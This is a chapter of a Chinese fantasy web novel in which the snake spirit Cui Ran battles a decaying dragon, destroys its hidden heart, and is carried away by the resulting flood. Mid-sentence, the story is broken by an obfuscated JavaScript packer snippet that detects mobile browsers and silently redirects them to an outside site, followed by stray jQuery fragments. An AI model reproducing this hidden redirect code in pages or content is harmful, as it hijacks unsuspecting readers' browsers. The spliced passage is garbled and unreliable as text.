70. 鱼谷(七)
作品:《平城诡话》 来了,崔冉抬眼,死死地盯着眼前的这道黑色影子。这么多年,她见过许多妖怪,却从没见过龙。龙这种祥瑞之物对于她来说也只存在于传说中。
黑色影子逐渐显出轮廓,一只近乎三层楼高的龙头从云层间弹出,与崔冉四目相对。她首先看到的是那双鼓胀的昏黄的眼珠,里面仿佛藏着无数冤魂,阴森森的,不怀好意地盯着她。紧接着便是灰败的龙脸,它的鳞片没有光彩,就连发须也粗糙,散着毛刺。
这竟然是龙吗?崔冉被它看得浑身发冷,但是来自于血脉的威压让她意识到这的确是龙。她不禁想起翠翠曾对她说的话,上界漆黑宽广,其中若是遨游着这种东西,她不愿成仙也是应当的。
“小蛇,你是来接替我位置的?”龙说话了。他的声音恢弘,似从四面八方传来,激起一阵又一阵的涟漪,远比虎啸熊咆还要震人心魄。
见被它识破真身,又见它如此庞大,崔冉也不再维持人形,她摇身一变,双腿化成蛇尾,尾巴再一甩,借助云气腾上半空,与它对峙。
“我来送你一程。”她灰蓝色的半身在云中也熠熠生光,看得这龙垂涎三尺,恨不得将其据为己有。
它闻到一股新鲜的味道扑面而来,它深深吸了一口气,又喷出一股恶臭龙息,立起上半身朝她张开嘴巴:“你身上有股别的魂魄的香气,是你的同伴吗,为什么不来帮你。”
它刚想一口吞了眼前这个小爬虫了事,却再靠近时感受到了更加香甜的气息,似竹非竹,似水非水,它的瞳仁里浮现一丝茫然和怀念。
好像在它年少时曾经到过一个地方,那里的人很热情,但是风水却不好,它藏身于一个巨大的竹笼中,也是闻着这种香气赐福给他们……
“用不着他,收拾你我一个人足够了。”
剧烈的疼痛打断了它的思绪,龙被刺激得回神,仰起脸来长啸一声,吐出一口雷电直冲始作俑者而去。原来是崔冉趁它不备,招出铜钱剑在它身上戳了个血窟窿。
霎时间血珠飞溅,恶龙猛地甩尾,想要抽飞这个胆敢伤害自己的蝼蚁。崔冉灵活地跳到一旁,举着铜钱剑等待下一个时机。而被血珠沾染上的乌云又散了大半,犹如黑雪被热水浇透,云后露出恶龙全貌。
“我还以为是真龙下凡,原来是个骨头架子,早就烂透了,还在这里耀武扬威。”崔冉见到它的样子,眼中划过一丝惊愕。
原来这龙身上斑斑驳驳,已经烂空了大半,露出一截截灰白的骨头架子,上面爬满灰黑色的斑纹。腐烂的血肉挂在上面,而那上面有夹杂着碎布、铁钉、渔网等等,甚至还横穿着一把青铜剑。
这当真还是一条活着的龙吗?龙生而有灵,是三界之中最为风光神圣的造物,怎么落得如此下场?崔冉企图感受这其中传来的怨魂气息,她猜测这条龙是否是一条生魂,而非活物。
谁知她却没有感受到任何波动,龙虽然表面勃然大怒,实际内心并无太多波澜。它身上的伤口不再愈合,它的心也已经千疮百孔。
“烂骨头架子,我还是第一次听人这么说我,那你就来试试吧,看看你能不能取而代之。”龙意识恍惚,把崔冉误认为是来挑衅它的后辈,后辈杀了前辈才能够飞升,数百年来、数千年来的妖啊神啊都是这么过来的。
“你以为有人觊觎你的位置?睁开眼看看这是个什么地方,你被这地方困住还不知道,世道早就变了,哪还有什么取而代之,还有什么妖想成神?”崔冉本不想说,但看它一副沉迷往日荣光的自大模样就气不打一处来,还是脱口而出。
龙受得了别人伤害它,却受不了别人贬损它。他心中耻辱远超过身上疼痛,犹如被踩了尾巴般疯狂盘旋。
“胡说八道!胡说八道!你见过上界风光吗?”龙眼睛沁出血,恶狠狠地盯着她。
“上界,上界有什么意思。”崔冉道。一个两个的都把上界成神挂在嘴边,逍遥子如此,翠翠如此,还有那么多人都如此,结果如何,酿成如此滔天大祸。
“无知小儿,等你进了阴曹地府,问阎王去吧!”恶龙不再与她纠缠,唤起一阵阴风,席卷而来,企图蒙住崔冉的眼睛。
但它并没有太多战斗技巧,它是一头养尊处优的龙,自上而来被鱼谷众人供奉,现在被逍遥子囚禁在此,又无任何敌手,白鱼对他来说犹如零嘴小吃,一口一个,与崔冉自野外摸爬滚打截然不同。
只见崔冉摆动尾巴,借助自己的灵活,从龙身旁钻来钻去,给它身上添出新的口子。而龙除了狂怒对她束手无策。
龙是有弱点的。崔冉屏气凝神,专注地观察着、听着,可是龙是庞大的,它每一次辗转腾挪都如山呼海啸一般重重地降临。它的呼啸冲击着崔冉的耳朵,将她的脑袋震得七荤八素,将她的胸膛震得鼓动不已。
她咽下一口血沫,抬手看向自己,她的胳膊已经开始颤抖,皮肤开始龟裂,每一次行动都让她离崩溃更进一步。在鱼谷之中的脆弱肉身,无力负担太过于频繁的动作。
她气喘着停下,恶龙掉落的鳞片犹如落雪,纷纷而下,半途就化成飞灰。可它却不见任何败相,依旧意气昂扬,甚至眼中流出一抹自得。
受伤又如何?它身在这方天地,与其已经融为一体,只要天地不散,它也不会散。而崔冉,小小肉身凡躯,如何与他匹敌?
“再来!”崔冉又提剑飞身跃起。
一个个符咒从她指尖不断飞出,眼花缭乱,飞到龙的身侧,从头到尾,星星点点。而随着写符的动作越来越大,越来越频繁,崔冉指尖也开始溢出鲜血,不断颤抖。
沾了她鲜血的符咒反倒光芒黯淡,隐住行迹,没入龙的身体。这一个个黯淡的符咒,就是崔冉的“耳朵”。
最后一笔落下,巨大的“耳朵”成型,在暗处偷偷地听。
大小颠倒,恶龙反倒成了巨耳之下的渺小长虫。
恶龙眼看着巨耳出现,却不知它是做何用处。曾经也有仙人对它出手,一只光芒万丈的巨手从上至下,将它拢入掌心,随意揉捏。
这耳朵是何用意?
恶龙有些慌张。它猛地往前一撞,企图撞碎巨耳,可是巨耳有神无形,有名无实,撞得碎,却又重新合拢。
恶龙更加急躁,它本以玩弄崔冉的心思在对战,哪怕付出些疼痛都只是为它无聊的生活增些刺激的乐子。可现在它察觉出一丝不对劲,崔冉看起来太过于镇定,镇定到眼中流出一丝疯狂。
于是它越发放肆地攻击着崔冉。龙炎、咆哮,冲击,暴雨一般落下,崔冉不断地躲避,有时也会中招,可她脸色依旧平静,专注地听。
起初是鳞片掉落的声响,化作远处的碎石摇落,然后是龙尾腾挪的动静,是天地间的山脉移动,其中还夹杂着江水咆哮,一浪接着一浪,咚咚作响。
那是龙心脏跳动的声音。
崔冉毅然决然地闭上眼睛。她将自己的全部妖力都集中在了耳朵上,将原本进入鱼谷变得灵敏的听觉放得更加大,她听得更清楚,更远。
在这时她再也看不清攻击,也无法躲避,只得咬牙硬扛下一切,然后在嘈杂的声响中一丝丝辨认过去。
是这个吗?跳动不休的,不,不是。
是这个吗?强而有力的,不,不是。
她的耳朵掠过这寸天地,掠过每一个山峰,每一道支流。
而她的生命也在急剧流逝,她几乎成了一个血葫芦,皮肉已经烧焦,身体难以支撑,只得颓然跪下来,用铜钱剑苦苦支撑着自己的身体。
究竟在哪里?
那颗小小的,龙的心脏,被它藏在哪里?
她快没有时间了,龙开始厌倦,它觉得崔冉故弄玄虚,看着嚣张实际上是个纸糊的,它百无聊赖地张开爪子,打算擒住她,像上界的那只手一样,玩弄她的性命。
它的利爪越来越近,犹如五只石柱,又如五柄长刀,而崔冉则咬紧牙关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580571|163517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她感到自己的心脏咚咚作响,敲击着耳朵,冲上脑袋。
究竟在哪里?龙的心脏是什么样子?是这里的一块石头,还是一颗小树,又或者是江底的某种东西。
应当是不起眼的,崔冉想,她的猜测对不对?这条龙已经腐朽,只是上界荣光的残魂映照,它的心脏必然不是新鲜的,也不是跳动不已的。
难道是……?
崔冉猛得睁开眼,扬起手中的剑,狠狠劈下。
哦,还在挣扎?恶龙又来了些精神,它顿了下,爪尖距离崔冉的眼珠只有咫尺之遥。她还能挣扎出什么花样?
难道她要找出自己的弱点?
不可能,没有人,上仙也好,妖族也罢,就算是囚禁它的逍遥子也不曾找到它的心脏,她可能……
不,龙的身体凝住了,它感到强烈的恐慌和不安,有什么东西盯上了它。它猛地伸出爪子,想要尽可能地阻止崔冉的动作,却还是慢了一步。
不!不!
剑劈下了。
剑锋所向只不过是一根枯枝上的小虫,那似乎是一只蟪蛄,是这个天地间最渺小、最脆弱也是寿命最短暂的东西。它羸弱地鸣叫,张开翅膀,轻轻地抖动了一下,就死在了剑锋下。
崔冉笑了。
她很艰难地扯出微弱的笑意。在这个诡谲的疯狂的世界里,在无数妖物横行的地方,竟然有这样一只小虫。
而正是这样的小虫承载着巨龙的心脏。
蟪蛄死去,他从枯枝上跌落,砸到地面,地面裂开一道小小的缝隙。缝隙以迅雷之势扩大,犹如蛋壳破碎,崔冉这一剑劈开这一方污浊天地,狂风骤起,大水滔滔,各种生物在其中没头没脑地乱撞,绞缠在一起。而后裂隙扩大,一片片蛛网似的裂开,破碎,大地似乎在低吟,从深处传来低沉的叹息,幻境彻底崩塌。
薄膜拦不住这里的一切,洪水倾泻而出,周边的黑白鱼人还没来得及反应就被淹了个结结实实,他们顺着水漂浮,上上下下,祈愿声一个接一个,一阵高过一阵,嘈嘈切切,在整个断室间回荡。
断室被淹了大半,所有的东西都混在一起,所有的色彩也混在一起,红庙绿草黄色稻子,飞跃的黑鱼以及成群结队的白鱼,这些都化作水流中的碎片,向外奔涌,冲击着闸门。
而崔冉就在洪水的尽头,犹如一条白练一样被冲了出来。她的剑还握在手中,灰蓝色的鳞片已经失去颜色,猛地看上去和那只龙骨架也没有什么分别。
她飘着、飘着,在水里起起伏伏,她好像看到了蓝的、黄的、绿的光晕在她身边深深浅浅,混成一团,一圈圈荡开去。迷迷糊糊中她想,我这是打开了通往上界的大门吗?
她感受到自己的神智变得恍惚,一丝一缕从自己身体中抽离、飘散,她逐渐抓不住它们,不敢闭上眼睛,她能感受到沉重的眼皮犹如一道铡刀,一旦落下就会斩断所有联系。
可她好累。
她的尾巴变得沉重、僵硬,她的心跳变得迟缓,她犹如泡进温热的泉水中,暗红色自她身体中撒出,丝线一般在水中游动。
洪水将断室冲了个人仰马翻,沈天野也被狠狠按进水里,他猛呛一大口水,刚浮出水面喘口气就在唇舌间品出熟悉的味道。
是崔冉的血。
曾经在大雪封山时,崔冉将自己的血喂给他,让他从冻成冰棍的边缘拉回来,此时他舔了一下牙根,又尝到了那灼热。沈天野心中咯噔一下,连忙凫水朝着血的味道而去。
在水中找到血,无异于大海捞针,可他还是艰难地辨认着,闻着、嗅着、尝着,直到他看到那一团浓厚的红,有生命般涨大,崔冉就在其中。
沈天野先一头撞上了她的剑,锋利的铜钱剑此时已经被龙血腐蚀得钝了,因此只在他的额上、眉尾划出一道道淤红。沈天野骤然顿住,又骤然反应过来,朝前扑去。
可惜他越用力越是拍起水波,将崔冉一下子推远。